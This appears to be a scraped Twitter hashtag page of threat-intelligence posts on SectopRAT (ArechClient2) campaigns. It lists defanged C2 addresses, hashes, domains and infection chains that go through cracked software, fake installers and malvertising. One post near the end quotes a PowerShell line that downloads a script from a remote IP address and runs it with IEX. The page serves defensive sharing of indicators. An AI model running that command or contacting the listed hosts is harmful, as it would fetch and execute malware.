#SecTopRAT - Twitter Hashtag

2 months ago

#ThreatProtection #Lumma Stealer & #SectopRAT paired in a resurfacing attack chain starting with "cracked" software, read more: https://t.co/ZJZBEyqHWm #malware

0

2

0

1K

SANS.edu Internet Storm Center

@sans_isc

2 months ago

ISC Diary: #LummaStealer infection with #SectopRAT (#ArechClient2) https://t.co/DuBKN4gJoW

0

3

0

1K

SANS.edu Internet Storm Center

@sans_isc

3 months ago

ISC Diary: #SmartApeSG campaign pushes #Remcos #RAT, #NetSupportRAT, #StealC and #SectopRAT (#ArechC https://t.co/g4XR3RCgxi

1

13

6

7

2K

JAMESWT @JAMESWT_WT

3 months ago

https://t.co/3S9rtyf0bW 👇 C2 179.61.145.]140 related to #SectopRAT Samples https://t.co/LlMcTmXhZ5

0

2

1

111

Kimberly @StopMalvertisin

4 months ago

#SectopRAT via #malvertising - #RenPy #RenpyLoader For the (un)trained eye it's becoming increasingly difficult to distinguish #malicious #ads and real downloads. https://t.co/vSB76aqogJ https://t.co/ZcXcIQobXV

StopMalvertisin's tweet photo. #SectopRAT via #malvertising - #RenPy #RenpyLoader

For the (un)trained eye it's becoming increasingly difficult to distinguish #malicious #ads and real downloads.

https://t.co/vSB76aqogJ

https://t.co/ZcXcIQobXV https://t.co/ikyAs0CjCb

2

12

4

1K

pamir:~#

@pamircil

7 months ago

📌 Zararlı PDF'ler, Türkiye'yi doğrudan hedef alıyor. IoC’ler: • c28f8fa5f0cb8c6a942b6b7f1884dcf5 • c6c3194a1f081ab7dc840cbf588e2ef4 • 176[.]65[.]132[.]6 • evgshippingline[.]com #StealC - #Vidar - #ArechClient2 - #SectopRAT kaynak: @kaspersky IoC claim: @malpulse

1

24

2

9

3K

ܛܔܔܔܛܔܛܔܛ

@skocherhan

7 months ago

36[.]255[.]98[.]59:9000/wbinjget AS208137 Feo Prest SRL 🇹🇼 #Arechclient2 #SecTopRAT #RedlineStealer

Szabolcs Schmidt

@smica83

7 months ago

'nocturia.ps1' @abuse_ch https://t.co/e68bDPPwXq Source URL: hxxp://62.60.135(.)8/nocturia

0

1

717

0

3

1

368

ܛܔܔܔܛܔܛܔܛ

@skocherhan

7 months ago

107[.]189[.]21[.]86:9000/wbinjget AS14956 ROUTERHOSTING 🇳🇱 #Arechclient2 #SecTopRAT

Szabolcs Schmidt

@smica83

7 months ago

'DockerDesktop zip' @abuse_ch https://t.co/dxYH3osiss URL: hxxp://107.189.17(.)143:9000/wbinjget

0

1

0

833

0

5

0

4

473

Renzon

@r3nzsec

8 months ago

Okay #FlowViz @feedly , this is cool! Tried linking the report we published from @TheDFIRReport on #SectopRat, and FlowViz smoothly created these visuals in less than 3 minutes. https://t.co/FwosF0sgqn

0

9

1

11

2K

ܛܔܔܔܛܔܛܔܛ

@skocherhan

9 months ago

3acc2336b8d45f0dae5c2cbaf8d24222 1cd150e0c173bd746fbca10440d5d1eb 48862b66199348aa375af9f88b74cdb7 705b25a484408fea27f2d8d3557407ca 83[.]222[.]191[.]98:9000/wbinjget rinasalleh[.]com 107[.]158[.]128[.]45 polarcompany[.]org 173[.]44[.]141[.]89 teamsi[.]org #SectopRAT #CastleRAT #TAG150

Szabolcs Schmidt

@smica83

9 months ago

'ScannerElectr64 zip' is a #HijackLoader from India @abuse_ch ZIP is detected but all files FUD in it. https://t.co/VlFYP6gTh7 C2: hxxp://88.214.50(.)35:9000/wbinjget

smica83's tweet photo. 'ScannerElectr64 zip' is a #HijackLoader from India @abuse_ch
ZIP is detected but all files FUD in it.
https://t.co/VlFYP6gTh7
C2: hxxp://88.214.50(.)35:9000/wbinjget https://t.co/z7AAZWSjL7

1

6

1

842

0

1

0

1

274

ThreatQuery @threatquery

10 months ago

🚨 New C2 Detected! 🔗 216[.]75[.]145[.]227 ℹ️ ASN: AS17014 ℹ️ ASN Organization: NAN 📍 Country: US 📍 City: Pittsfield 📅 2025-08-30T16:00:54 ℹ️ Type: #cnc - #c2 ℹ️ Family: #SectopRAT #ThreatIntelligence #IoCs #Malware

0

2

1

452

Threat Intelligence @threatintel

10 months ago

#ThreatProtection Fake cracked games deliver #LummaStealer, which pulls in #SectopRAT for remote access, read more about Symantec's protection: https://t.co/0WGHdR5N7K

0

1

0

1

1K

Unit 42 @Unit42_Intel

11 months ago

2025-08-15 (Friday): #LummaStealer infection leads to #SectopRAT (#ArechClient2). Details at https://t.co/V3kqDD6I37

3

125

37

36

10K

abuse.ch

@abuse_ch

11 months ago

We've observed an interesting infection chain ⛓️ in the wild, starting with #LummaStealer spread through a fake gaming website and resulting in #Latrodectus and #SectopRat 🪲🔍👀 Infection starts with the user visiting a website offering free game downloads, where they are redirected and prompted to download a password-protected zip file from mega[.]nz ⚠️ When the user executes the file, Lumma is executed in a new process, which later downloads Latrodectus and SectopRAT: Latrodectus payload URL: 🌐 https://t.co/f26oGGGHSU SectopRAT payload URL: 🌐 https://t.co/jIKVBRfOFL Latrodectus config 🗜️: CampaignID: Callisto Direction: 3 Version: 2.2 IOCs: 📡 https://t.co/wjSG3ShXM3 📡 https://t.co/7OgTaPjzO0 Malware samples: 📄 https://t.co/YsBVuCSPGt 📄 https://t.co/jYPnh1KXbl 📄 https://t.co/KeCnyiM7eB

abuse_ch's tweet photo. We've observed an interesting infection chain ⛓️ in the wild, starting with #LummaStealer spread through a fake gaming website and resulting in #Latrodectus and #SectopRat 🪲🔍👀

Infection starts with the user visiting a website offering free game downloads, where they are redirected and prompted to download a password-protected zip file from mega[.]nz ⚠️

When the user executes the file, Lumma is executed in a new process, which later downloads Latrodectus and SectopRAT:

Latrodectus payload URL:
🌐 https://t.co/f26oGGGHSU

SectopRAT payload URL:
🌐 https://t.co/jIKVBRfOFL

Latrodectus config 🗜️:
CampaignID: Callisto
Direction: 3
Version: 2.2

IOCs:
📡 https://t.co/wjSG3ShXM3
📡 https://t.co/7OgTaPjzO0

Malware samples:
📄 https://t.co/YsBVuCSPGt
📄 https://t.co/jYPnh1KXbl
📄 https://t.co/KeCnyiM7eB

1

44

15

12

6K

Seth @bluish_red_

about 1 year ago

HOST-BANNER_0_HASH: `82cddf3a9bff315d8fc708e5f5f85f20` Looks like a solid predictive indicator for #ARECHCLIENT2/#SECTOPRAT redirector infra. CC: @500mk500, @SreekarMad, @ValidinLLC #GHOSTPULSE

bluish_red_'s tweet photo. HOST-BANNER_0_HASH: `82cddf3a9bff315d8fc708e5f5f85f20`

Looks like a solid predictive indicator for #ARECHCLIENT2/#SECTOPRAT redirector infra.

CC: @500mk500, @SreekarMad, @ValidinLLC
#GHOSTPULSE https://t.co/0WdcdmKklk

Elastic Security Labs

@elasticseclabs

about 1 year ago

New research from #ElasticSecurityLabs uncovers a new ClickFix campaign! Learn how attackers are using GHOSTPULSE and ARECHCLIENT2 (SECTOPRAT) in multi-stage attacks to deploy RATs and steal data. Stay informed: https://t.co/ndKdRIj76P

1

103

30

32

15K

3

14

5

0

2K

Salman @salmanvsf

about 1 year ago

#SHADOWLADDER dropping #SectopRAT fc590c0f43d771f0368383e1c93e318e TRS00004589Transaction55000_pdf.zip github.]com/Bryceapichler/ github.]com/coleeantoo c2 hxxp:]//45.]137.]99.]210/v10/buhm.php @JAMESWT_WT @500mk500 @anyrun_app https://t.co/JCUblm0Sf2

salmanvsf's tweet photo. #SHADOWLADDER dropping #SectopRAT
fc590c0f43d771f0368383e1c93e318e
TRS00004589Transaction55000_pdf.zip
github.]com/Bryceapichler/
github.]com/coleeantoo

c2
hxxp:]//45.]137.]99.]210/v10/buhm.php
@JAMESWT_WT @500mk500 @anyrun_app

https://t.co/JCUblm0Sf2 https://t.co/I8Y4K0HcE2

3

17

5

4

2K

PRODAFT

@PRODAFT

about 1 year ago

Threat actors are moving away from #DanaBot, citing poor performance despite its heavy promotion on cybercrime forums. Several have already migrated to more capable tools—#SectopRAT is notably gaining traction. Full intel in our latest CATALYST brief (subscribers only): 🔗 https://t.co/dqBNSxEbhs #ThreatIntel #Malware

PRODAFT's tweet photo. Threat actors are moving away from #DanaBot, citing poor performance despite its heavy promotion on cybercrime forums.

Several have already migrated to more capable tools—#SectopRAT is notably gaining traction.

Full intel in our latest CATALYST brief (subscribers only): 🔗 https://t.co/dqBNSxEbhs

#ThreatIntel #Malware

0

25

4

7

9K

Zero Labs @ZeroNLabs

about 1 year ago

This one checks a lot of #LateralMovement TTPs. Could have been nicely blocked by #LDAPFirewall & #RPCFirewall + some #NetworkSegmentation How #blackSuit #ransomware spread from first fake #zoom installer -> d3f@ckloader #IDAT #SectopRAT https://t.co/nuYNOBicMp

ZeroNLabs's tweet photo. This one checks a lot of #LateralMovement TTPs. Could have been nicely blocked by #LDAPFirewall & #RPCFirewall + some #NetworkSegmentation

How #blackSuit #ransomware spread from first fake #zoom installer -> d3f@ckloader #IDAT #SectopRAT

https://t.co/nuYNOBicMp https://t.co/YFxPymzMJe

The DFIR Report

@TheDFIRReport

about 1 year ago

🌟New report out today!🌟 Fake Zoom Ends in BlackSuit Ransomware Analysis and reporting completed by @pigerlin, UC1 and @Miixxedup Audio: Available on Spotify, Apple, YouTube and more! https://t.co/r9hQxzPTL0

1

155

47

42

14K

0

7

2

668

Threat Intelligence @threatintel

over 1 year ago

#ThreatProtection #SectopRAT #malware variant distributed under the disguise of Chrome installer, read more about Symantec's protection: https://t.co/KImo9GN3A4

0

2

1

0

1K

JAMESWT @JAMESWT_WT

over 1 year ago

Related Samples #SectopRAT #arechclient2 92.255.85[.]36 👇 https://t.co/NMC8Co4eQj cc @smica83 @500mk500 @spektrumdj

Hernan Diaz @sp3ktrummusic

over 1 year ago

The Base64 string: $New-Object Net.WebClient).DownloadString(‘http://216.238.90.145/w/koa’) | IEX

1

4

0

3K

0

21

7

0

2K

Top Tweets for #SecTopRAT

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users